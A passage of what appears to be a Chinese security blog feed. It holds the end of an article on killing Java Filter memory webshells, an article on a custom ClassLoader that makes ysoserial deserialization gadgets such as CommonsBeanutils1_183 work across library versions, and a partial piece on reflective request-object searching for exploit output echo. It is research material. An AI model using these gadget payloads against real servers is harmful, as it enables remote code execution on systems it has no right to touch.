fos = <span class="keyword">new</span> FileOutputStream(file.getAbsoluteFile());</span><br><span class="line"> fos.write(byteMemshell);</span><br><span class="line"> fos.flush();</span><br><span class="line"> fos.close();</span><br><span class="line"> ClassPool cp = ClassPool.getDefault();</span><br><span class="line"> cp.insertClassPath(<span class="string">"/tmp/"</span>);</span><br><span class="line"> CtClass cc = cp.getCtClass(clsMemshell.getName());</span><br><span class="line"> CtMethod m = cc.getDeclaredMethod(<span class="string">"doFilter"</span>);</span><br><span class="line"> m.addLocalVariable(<span class="string">"elapsedTime"</span>, CtClass.longType);</span><br><span class="line"> <span class="comment">// 正确覆盖代码:</span></span><br><span class="line"> <span class="comment">// m.setBody("{$3.doFilter($1,$2);}");</span></span><br><span class="line"> <span class="comment">// 方便演示代码:</span></span><br><span class="line"> m.setBody(<span class="string">"{$2.getWriter().write(\"Your memory horse has been killed by c0ny1\");}"</span>);</span><br><span class="line"> <span class="keyword">byte</span>[] byteCode = cc.toBytecode();</span><br><span class="line"> cc.detach();</span><br><span class="line"> <span class="keyword">return</span> byteCode;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>方法二: 模拟中间件注销Filter</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//反序列化执行代码反射获取到StandardContext</span></span><br><span class="line">Object standardContext = ...;</span><br><span class="line">Field _filterConfigs = standardContext.getClass().getDeclaredField(<span class="string">"filterConfigs"</span>);</span><br><span class="line">_filterConfigs.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">Object filterConfigs = _filterConfigs.get(standardContext);</span><br><span class="line">Map<String, ApplicationFilterConfig> filterConfigMap = (Map<String, ApplicationFilterConfig>)filterConfigs;</span><br><span class="line"><span class="keyword">for</span>(Map.Entry<String, ApplicationFilterConfig> map : filterConfigMap.entrySet()){</span><br><span class="line"> String filterName = map.getKey();</span><br><span class="line"> ApplicationFilterConfig filterConfig = map.getValue();</span><br><span class="line"> Filter filterObject = filterConfig.getFilter();</span><br><span class="line"> <span class="comment">// 如果是内存马的filter名</span></span><br><span class="line"> <span class="keyword">if</span>(filterName.startsWith(<span class="string">"memshell"</span>)){</span><br><span class="line"> SecurityUtil.remove(filterObject);</span><br><span class="line"> filterConfigMap.remove(filterName);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>两种方法各有优劣,第一种方法比较通用,直接适配所有中间件。但恶意Filter依然在,只是恶意代码被清除了。第二种方法比较优雅,恶意Filter会被清除掉。但每种中间件注销Filter的逻辑不尽相同,需要一一适配。为了方便演示我们选第一种。</p><h2 id="0x05-demo展示"><a href="#0x05-demo展示" class="headerlink" title="0x05 demo展示"></a>0x05 demo展示</h2><p>最后给大家展示下,我查杀demo的效果。</p><p><img src="/articles/2020/kill-java-web-filter-memshell/kill-java-filter-memshell-demo.gif" alt="查杀演示"></p><h2 id="0x06-总结"><a href="#0x06-总结" class="headerlink" title="0x06 总结"></a>0x06 总结</h2><p>本文我们对Filter型内存马的识别与查杀做了细致的分析,其实Servlet型,拦截器型和Controller型的查杀方法也是万变不离其中,可如法炮制。但这样的思路无法查杀Agent型内存马,Agent型内存马查杀难点在“查”不在“杀”,具体的难点在那,又是如何解决呢?我会在后续的《查杀Java web Agent型内存马》中继续分享我的思考。</p><h2 id="0x07-参考文章"><a href="#0x07-参考文章" class="headerlink" title="0x07 参考文章"></a>0x07 参考文章</h2><ul><li><a href="https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw" target="_blank" rel="noopener">Tomcat源码调试笔记-看不见的shell</a></li><li><a href="https://www.cnblogs.com/rebeyond/p/9686213.html" target="_blank" rel="noopener">【原创】利用“进程注入”实现无文件不死webshell</a></li><li><a href="https://landgrey.me/blog/12/" target="_blank" rel="noopener">基于内存 Webshell 的无文件攻击技术研究</a></li><li><a href="https://xz.aliyun.com/t/7388" target="_blank" rel="noopener">基于tomcat的内存 Webshell 无文件攻击技术</a></li></ul>]]></content>
<summary type="html">
<blockquote>
<p>想法早在几个月之前就有了,月初收好友之邀请,夜游鼓浪屿,彼时夜朗星稀,山海一色,偶有微波抚足,不觉间有了点写东西的感觉,晚上回到旅社简单写了下。等回到北京后,不料润色之意全无,就凑合看吧。</p>
</blockquote>
<p><img src
</summary>
<category term="安全开发" scheme="https://gv7.me/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
</entry>
<entry>
<title>使用自定义ClassLoader解决反序列化serialVesionUID不一致问题</title>
<link href="https://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/"/>
<id>https://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/</id>
<published>2020-07-08T04:57:57.000Z</published>
<updated>2020-07-09T18:34:31.117Z</updated>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p><code>serialVesionUid</code>不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。查了下资料,发现了各种各样的方法,但没有找到一种适合所有gadget的通用解决方案,为此我花了一些时间,算是找到了自己心中比较完美的解决方案:自定义ClassLoader。目前已经将其集成到ysoserial中,可完美解决各类gadget serialVesionUID不一致问题。</p><h2 id="0x02-各方案的优劣"><a href="#0x02-各方案的优劣" class="headerlink" title="0x02 各方案的优劣"></a>0x02 各方案的优劣</h2><p>在解决这个问题之前,我尝试的很多方法,简单说下它们各自能解决的问题和存在的缺陷。</p><p><strong>方案1:修改序列化byte数据</strong></p><p>该方法可解决序列化最终数据的serialVesionUID不一致,但无法解决Object的serialVesionUID不一致</p><p><strong>方案2:反射修改serialVesionUID</strong></p><p>可以解决1的缺陷,但无法解决Gadget依赖的class没有serialVesionUID属性的情况,因为反射只能修改Object的属性,不能添加。</p><p><strong>方案3:修改Class字节码,添加或修改serialVesionUID</strong></p><p>能解决Gadget直接依赖Class的serialVesionUID不一致问题,可弥补方案2的缺陷。但不好解决Gadget间接依赖class存在serialVesionUID不一致的情况。</p><p><img src="/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/add-svuid-by-javassist.png" alt="通过javassist给class添加serialVesionUID"></p><p><strong>方案4:Hook ObjectStreamClass.getSerialVesionUID()</strong></p><p>该方法负责返回所有参与序列化Class的serialVesionUID,Hook它并修改返回值,可解决所有class的serialVesionUID不一致问题。但它无法解决Gadget依赖jar版本之间,class差异较大,属性类型不同的情况。因为serialVesionUID发生改变取决于两个因素:Class的属性和方法。如果属性类型改变了,单单只修改serialVesionUID是不够的。</p><p><img src="/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/modify-svuid-by-hook-getserialversionuid.png" alt="Hook ObjectStreamClass.getSerialVesionUID()"></p><p><strong>方案5:URLClassLoader</strong></p><p>使用URLClassLoader动态引入依赖jar可以很好的解决以上方案的缺陷。只是用在该场景下有些费劲,原因有三:</p><blockquote><p>第一,不方便隔离依赖。包含serialVesionUID不一致class的jar(这里简称<code>不一致jar</code>)是需要被隔离的。由于URLClassLoader是双亲委派模式,存在被父ClassLoader中的同名Class覆盖的风险。</p></blockquote><blockquote><p>第二,不方便共享依赖。Gadget依赖的部分jar可能不存在serialVesionUID不一致问题(这里简称<code>可共用jar</code>),我们需要共享。</p></blockquote><blockquote><p>第三,不方便添加Class到ClassLoader中,URLClassLoader只提供添加jar的方法。</p></blockquote><h2 id="0x03-自定义ClassLoader解决方案"><a href="#0x03-自定义ClassLoader解决方案" class="headerlink" title="0x03 自定义ClassLoader解决方案"></a>0x03 自定义ClassLoader解决方案</h2><p>在我看来比较完美的方案不仅要解决以上方案的缺陷,还要能防止各种未知的”副作用”。使用ClassLoader来解决的思路肯定是没错,但我们需要结合解决serialVesionUID不一致问题这个场景量身设计一个ClassLoader,核心有两点:</p><ol><li>改双亲委派为当前ClassLoader优先,方便隔离不一致jar共享可共用jar</li><li>方便添加Class和Jar到ClassLoader中</li></ol><p><strong>那么自定义ClassLoader是如何解决serialVesionUID不一致问题的呢?</strong></p><p>自定义ClassLoader可以很方便地切换<code>不一致jar</code>为漏洞环境的对应版本,生成的发序列化数据自然不会存在serialVesionUID不一致问题。具体实现如下图,我们自定义ClassLoader包含了Gadget class和不一致jar。当Gadget class实例化生成序列化对象时,由于当前ClassLoader优先原则,存在不一致问题的class使用的是自定义ClassLoader加载的,实现隔离。而其他Class找不到,自然走双亲委派模式,去父ClassLoader中查找,实现共享。</p><p><img src="/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/custom-classloader.png" alt="自定义ClassLoader示意图"></p><p>下面我们分别来实现。</p><h2 id="0x04-addClass-amp-amp-addJar"><a href="#0x04-addClass-amp-amp-addJar" class="headerlink" title="0x04 addClass && addJar"></a>0x04 addClass && addJar</h2><p>首先我们自定义的ClassLoader需要维护要一个装载Class的Map <code>classByteMap</code>,<code>类名</code>为<code>键</code>,<code>类文件byte数据</code>为<code>值</code>。方便后续添加和获取Class。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> Map<String, <span class="keyword">byte</span>[]> classByteMap = <span class="keyword">new</span> HashMap<String,<span class="keyword">byte</span>[]>();</span><br></pre></td></tr></table></figure><p>addClass方法,主要是为了方便我们我们把Gadget对应的class添加的自定义ClassLoader中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">addClass</span><span class="params">(String className,<span class="keyword">byte</span>[] classByte)</span></span>{</span><br><span class="line"> classByteMap.put(className,classByte);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>addJar方法,主要是为了方便把gadget的不一致jar快速添加到ClassLoader中。具体来说就是读取不一致jar中所有class的<code>class name</code>和<code>class byte</code>,存储到<code>classByteMap</code>中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readJar</span><span class="params">(JarFile jar)</span> <span class="keyword">throws</span> IOException</span>{</span><br><span class="line"> Enumeration<JarEntry> en = jar.entries();</span><br><span class="line"> <span class="comment">// 遍历jar文件所有实体</span></span><br><span class="line"> <span class="keyword">while</span> (en.hasMoreElements()){</span><br><span class="line"> JarEntry je = en.nextElement();</span><br><span class="line"> String name = je.getName();</span><br><span class="line"> <span class="comment">// 只class文件进行处理</span></span><br><span class="line"> <span class="keyword">if</span> (name.endsWith(<span class="string">".class"</span>)){</span><br><span class="line"> String clss = name.replace(<span class="string">".class"</span>, <span class="string">""</span>).replaceAll(<span class="string">"/"</span>, <span class="string">"."</span>);</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">this</span>.findLoadedClass(clss) != <span class="keyword">null</span>) <span class="keyword">continue</span>;</span><br><span class="line"> <span class="comment">// 读取class的byte内容</span></span><br><span class="line"> InputStream input = jar.getInputStream(je);</span><br><span class="line"> ByteArrayOutputStream baos = <span class="keyword">new</span> ByteArrayOutputStream();</span><br><span class="line"> <span class="keyword">int</span> bufferSize = <span class="number">4096</span>;</span><br><span class="line"> <span class="keyword">byte</span>[] buffer = <span class="keyword">new</span> <span class="keyword">byte</span>[bufferSize];</span><br><span class="line"> <span class="keyword">int</span> bytesNumRead = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> ((bytesNumRead = input.read(buffer)) != -<span class="number">1</span>) {</span><br><span class="line"> baos.write(buffer, <span class="number">0</span>, bytesNumRead);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">byte</span>[] cc = baos.toByteArray();</span><br><span class="line"> input.close();</span><br><span class="line"> <span class="comment">// 将class name 和class byte存储到classByteMap</span></span><br><span class="line"> classByteMap.put(clss, cc);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x05-改双亲委派为自定义ClassLoader优先"><a href="#0x05-改双亲委派为自定义ClassLoader优先" class="headerlink" title="0x05 改双亲委派为自定义ClassLoader优先"></a>0x05 改双亲委派为自定义ClassLoader优先</h2><p>要想打破双亲委派,我们需要重新loadClass方法,修改加载逻辑为优先使用自定义ClassLoader加载。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">protected</span> Class<?> loadClass(String name, <span class="keyword">boolean</span> resolve) <span class="keyword">throws</span> ClassNotFoundException {</span><br><span class="line"> <span class="keyword">synchronized</span> (getClassLoadingLock(name)) {</span><br><span class="line"> <span class="comment">// 1. 检测自定ClassLoader缓存中有没有,有的话直接返回</span></span><br><span class="line"> Class clazz = cacheClass.get(name);</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">null</span> != clazz) {</span><br><span class="line"> <span class="keyword">return</span> clazz;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 2. 若缓存中没有,就从当前ClassLoader可加载的所有Class中找</span></span><br><span class="line"> clazz = findClass(name);</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">null</span> != clazz) {</span><br><span class="line"> cacheClass.put(name, clazz);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> clazz = <span class="keyword">super</span>.loadClass(name, resolve);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (ClassNotFoundException ex) {</span><br><span class="line"> <span class="comment">// 3.当自定义ClassLoader中没有找到目标class,再调用系统默认的加载机制,走双亲委派模式</span></span><br><span class="line"> clazz = <span class="keyword">super</span>.loadClass(name, resolve);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (resolve) {</span><br><span class="line"> resolveClass(clazz);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> clazz;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>findClass方法定义的是自定义ClassLoader查找Class的逻辑</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">protected</span> Class<?> findClass(String name) <span class="keyword">throws</span> ClassNotFoundException{</span><br><span class="line"> <span class="comment">// 从classByteMap中获取</span></span><br><span class="line"> <span class="keyword">byte</span>[] result = classByteMap.get(name);</span><br><span class="line"> <span class="keyword">if</span>(result == <span class="keyword">null</span>){</span><br><span class="line"> <span class="comment">// 没有找到则抛出对应异常</span></span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> ClassNotFoundException();</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="comment">// 将一个字节数组转为Class对象</span></span><br><span class="line"> <span class="keyword">return</span> defineClass(name, result, <span class="number">0</span>, result.length);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x06-编写版本兼容gadget"><a href="#0x06-编写版本兼容gadget" class="headerlink" title="0x06 编写版本兼容gadget"></a>0x06 编写版本兼容gadget</h2><p>依然以ysoserial <code>CommonsBeanutils1</code>为例子。ysoserial中默认commons-beanutils是1.9.2版本,下面我们给它添加一个兼容1.8.3版本的<code>CommonsBeanutils1_183</code>。</p><p>通过对比1.9.2和1.8.3序列化数据,发现serialVesionUID不一致的只有<code>org.apache.commons.beanutils.BeanComparator</code>类,它在<code>commons-beanutils-<version>.jar</code>中,剩余的<code>commons-collections-3.1.jar</code>和<code>commons-logging-1.2.jar</code>为可共用jar。</p><p><img src="/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/commons-beanutils-ser.png" alt="两个版本的依赖jar生成的序列化数据对比"></p><p>接着就可以编写代码,调用自定义ClassLoader SuidClassLoader来解决serialVesionUID不一致问题了。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Dependencies</span>({<span class="string">"commons-beanutils:commons-beanutils:1.8.3"</span>, <span class="string">"commons-collections:commons-collections:3.1"</span>, <span class="string">"commons-logging:commons-logging:1.2"</span>})</span><br><span class="line"><span class="meta">@Authors</span>({ Authors.FROHOFF,Authors.CONY1 })</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">CommonsBeanutils1_183</span> <span class="keyword">extends</span> <span class="title">Object</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span><<span class="title">Object</span>> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">getObject</span><span class="params">(String command)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="comment">// 创建自定义ClassLoader对象</span></span><br><span class="line"> SuidClassLoader suidClassLoader = <span class="keyword">new</span> SuidClassLoader();</span><br><span class="line"> <span class="comment">// 将Gadget class添加到自定义ClassLoader中</span></span><br><span class="line"> suidClassLoader.addClass(CommonsBeanutils1.class.getName(),classAsBytes(CommonsBeanutils1.class));</span><br><span class="line"> <span class="comment">// 从资源目录读取commons-beanutils-1.8.3.jar的base64数据</span></span><br><span class="line"> InputStream is = CommonsBeanutils1_183.class.getClassLoader().getResourceAsStream(<span class="string">"commons-beanutils-1.8.3.txt"</span>);</span><br><span class="line"> <span class="keyword">byte</span>[] jarBytes = <span class="keyword">new</span> BASE64Decoder().decodeBuffer(CommonUtil.readStringFromInputStream(is));</span><br><span class="line"> <span class="comment">// 将Gadget不一致jar添加到自定义ClassLoader中</span></span><br><span class="line"> suidClassLoader.addJar(jarBytes);</span><br><span class="line"> Class clsGadget = suidClassLoader.loadClass(<span class="string">"ysoserial.payloads.CommonsBeanutils1"</span>);</span><br><span class="line"> <span class="comment">// 判断存在serialVesionUID不一致问题的class是否是由自定义ClassLoader加载的</span></span><br><span class="line"> <span class="keyword">if</span>(BeanComparator.class.getClassLoader().equals(suidClassLoader)){</span><br><span class="line"> <span class="comment">// 使用自定义ClassLoader加载的Gadget class创建对象,调用其getObject构建序列化对象</span></span><br><span class="line"> Object objGadget = clsGadget.newInstance();</span><br><span class="line"> Method getObject = objGadget.getClass().getDeclaredMethod(<span class="string">"getObject"</span>,String.class);</span><br><span class="line"> Object objPayload = getObject.invoke(objGadget,command);</span><br><span class="line"> suidClassLoader.cleanLoader();</span><br><span class="line"> <span class="keyword">return</span> objPayload;</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> System.out.println(<span class="string">"Class is not SuidClassLoader loading, serialization failure!"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">final</span> String[] args)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> PayloadRunner.run(CommonsBeanutils1_183.class, args);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Weblogic coherence.jar的gadget可如法炮制。近期忙完会将完整的代码上传到github项目<a href="http://github.com/woodpecker-framework/ysoserial-woodpecker.git" target="_blank" rel="noopener">ysoserial-woodpecker</a></p><h2 id="0x07-参考文章"><a href="#0x07-参考文章" class="headerlink" title="0x07 参考文章"></a>0x07 参考文章</h2><ul><li><a href="https://www.cnblogs.com/duanxz/p/3511695.html" target="_blank" rel="noopener">java类中serialversionuid 作用 是什么?举个例子说明</a></li><li><a href="https://www.cnblogs.com/wxd0108/p/6681618.html" target="_blank" rel="noopener">Java自定义类加载器与双亲委派模型</a></li><li><a href="https://rhinosecuritylabs.com/research/java-deserializationusing-ysoserial/" target="_blank" rel="noopener">Java Deserialization Exploitation With Customized Ysoserial Payloads</a></li></ul>]]></content>
<summary type="html">
<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p><code>serialVesionUid</code>不一致导致反序列化失败也算是Java反序列化
</summary>
<category term="安全开发" scheme="https://gv7.me/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
</entry>
<entry>
<title>半自动化挖掘request实现多种中间件回显</title>
<link href="https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/"/>
<id>https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/</id>
<published>2020-04-19T16:59:51.000Z</published>
<updated>2020-04-19T20:01:41.214Z</updated>
<content type="html"><</code>中也有request对象。</p><h4 id="第二步:半自动化反射搜索全局变量"><a href="#第二步:半自动化反射搜索全局变量" class="headerlink" title="第二步:半自动化反射搜索全局变量"></a>第二步:半自动化反射搜索全局变量</h4><p>这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型,若包含以下关键字可认为是我们要寻找的request对象。</p><ul><li>Requst</li><li>ServletRequest</li><li>RequstGroup</li><li>RequestInfo</li><li>RequestGroupInfo</li><li>…</li></ul><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/request.png" alt="request对象隐藏在全局变量中的位置"></p><h2 id="0x04-编码实现"><a href="#0x04-编码实现" class="headerlink" title="0x04 编码实现"></a>0x04 编码实现</h2><p>思路虽然简单,但实现反射搜索的细节其实还是有很多坑的,这里列举一些比较有意思的点和坑来说说。</p><h4 id="4-1-限制挖掘深度"><a href="#4-1-限制挖掘深度" class="headerlink" title="4.1 限制挖掘深度"></a>4.1 限制挖掘深度</h4><p>对于隐藏过深的requst对象我们最好不考虑,原因有两个。</p><ul><li><p>第一个是这样反射路径过长,就算是搜索到了,最终构造的payload数据会很大,对于shiro这种反序列化数据在头部的漏洞是致命的。</p></li><li><p>第二个是挖掘时间会很长,因为JVM虚拟机内存中的对象结构其实是非常的复杂的,一个对象的属性往往嵌套着另一个对象,另一个对象的属性继续嵌套其他对象…</p></li></ul><p>可以声明两个变量来代表当前深度和最大深度,通过防止当前深度大于最大深度,来限制挖掘深度。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> max_search_depth = <span class="number">1000</span>; <span class="comment">//最大挖掘深度</span></span><br><span class="line"><span class="keyword">int</span> current_depth = <span class="number">0</span> <span class="comment">//当前深度</span></span><br><span class="line"><span class="keyword">while</span>(...){</span><br><span class="line"><span class="comment">//最多挖多深</span></span><br><span class="line"><span class="keyword">if</span>(current_depth > max_search_depth){</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">//搜索</span></span><br><span class="line">...</span><br><span class="line">current_depth++;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="4-2-排除相同引用的对象"><a href="#4-2-排除相同引用的对象" class="headerlink" title="4.2 排除相同引用的对象"></a>4.2 排除相同引用的对象</h4><p>一个对象中可能会存在其他对象多个相同的实例(引用相同),是不能重复去遍历它属性的,否则会进入死循环。可以声明一个<code>visited</code>集合来存储已经遍历过的对象,在遍历之前先判断对象是否在该集合中,防止重复遍历!</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Set<Object> visited = <span class="keyword">new</span> HashSet<Object>();</span><br><span class="line"><span class="keyword">if</span>(!visited.contains(filed_object)){</span><br><span class="line">visited.add(filed_object);</span><br><span class="line"><span class="comment">//继续搜索</span></span><br><span class="line">...</span><br><span class="line">}</span><br><span class="line"><span class="comment">//跳过</span></span><br><span class="line">...</span><br></pre></td></tr></table></figure><h4 id="4-3-设置黑名单"><a href="#4-3-设置黑名单" class="headerlink" title="4.3 设置黑名单"></a>4.3 设置黑名单</h4><p>某些类型不可能存有requst,一般有如下的系统类型,和一些自定义的类型。对于这些类型的对象的遍历只会浪费时间,我们可以设置一个黑名单将其排除掉。</p><ul><li>java.lang.Byte</li><li>java.lang.Short</li><li>java.lang.Integer</li><li>java.lang.Long</li><li>java.lang.Float</li><li>java.lang.Boolean</li><li>java.lang.String</li><li>java.lang.Class</li><li>java.lang.Character</li><li>java.io.File</li><li>…</li></ul><h4 id="4-4-搜索继承的所有属性"><a href="#4-4-搜索继承的所有属性" class="headerlink" title="4.4 搜索继承的所有属性"></a>4.4 搜索继承的所有属性</h4><p><code>getFields()</code>和<code>getDeclaredFields()</code>其实都没法获取对象的所有属性,导致搜索会有遗漏。比如一个对象的父类的父类的一个私有属性,我们怎么获取呢?</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//向上循环 遍历父类</span></span><br><span class="line"><span class="keyword">for</span> (; clazz != Object.class; clazz = clazz.getSuperclass()) {</span><br><span class="line"> Field[] fields = clazz.getDeclaredFields();</span><br><span class="line"> <span class="keyword">for</span> (Field field : fields) {</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> <span class="comment">//搜索</span></span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="4-5-深度优先-vs-广度优先"><a href="#4-5-深度优先-vs-广度优先" class="headerlink" title="4.5 深度优先 vs 广度优先"></a>4.5 深度优先 vs 广度优先</h4><p>深度优先顾名思义就是会按照深度方向挖掘,它会先遍历至全局变量第一个属性最深层的所有末端,在继续第二属性依次类推。这样挖掘出来的反射链是比较长的。</p><p>在我实现完深度优先算法后,发现最致命的还不是反射链过长问题。深度优先可能会错过比较短的反射链。这是因为同一个requst对象的引用可能被存储在全局对象的多个属性中,有些藏的比较深,有的藏的比较浅。深度优先往往会先挖掘到比较深的那个,而根据我们相同对象不会第二次搜索原则,当搜索到存储比较浅的引用时,会被忽略了。这就导致我们只挖掘到了藏的比较深的,而错过了比较浅的。</p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/111.png" alt="全局变量结构示意图"></p><p>在学过算法,我们都知道广度优先就能解决路径最短问题,在这个问题上也是如此。针对上图的情况,两种算法挖掘的结果如下。</p><p>深度优先挖掘到两条反射链</p><ol><li>全局变量 > Field01 > Field03 > Request@111</li><li>全局变量 > Field04 > Request@222</li></ol><p>广度度优先挖掘到两条反射链</p><ol><li>全局变量 > Request@111</li><li>全局变量 > Field04 > Request@222</li></ol><p>而在实际环境中差别更加明显,以下是Tomcat8下搜索记录的对比。</p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/2.png" alt="实际挖掘广度优先挖掘结果与深度优先挖掘结果对比"></p><h2 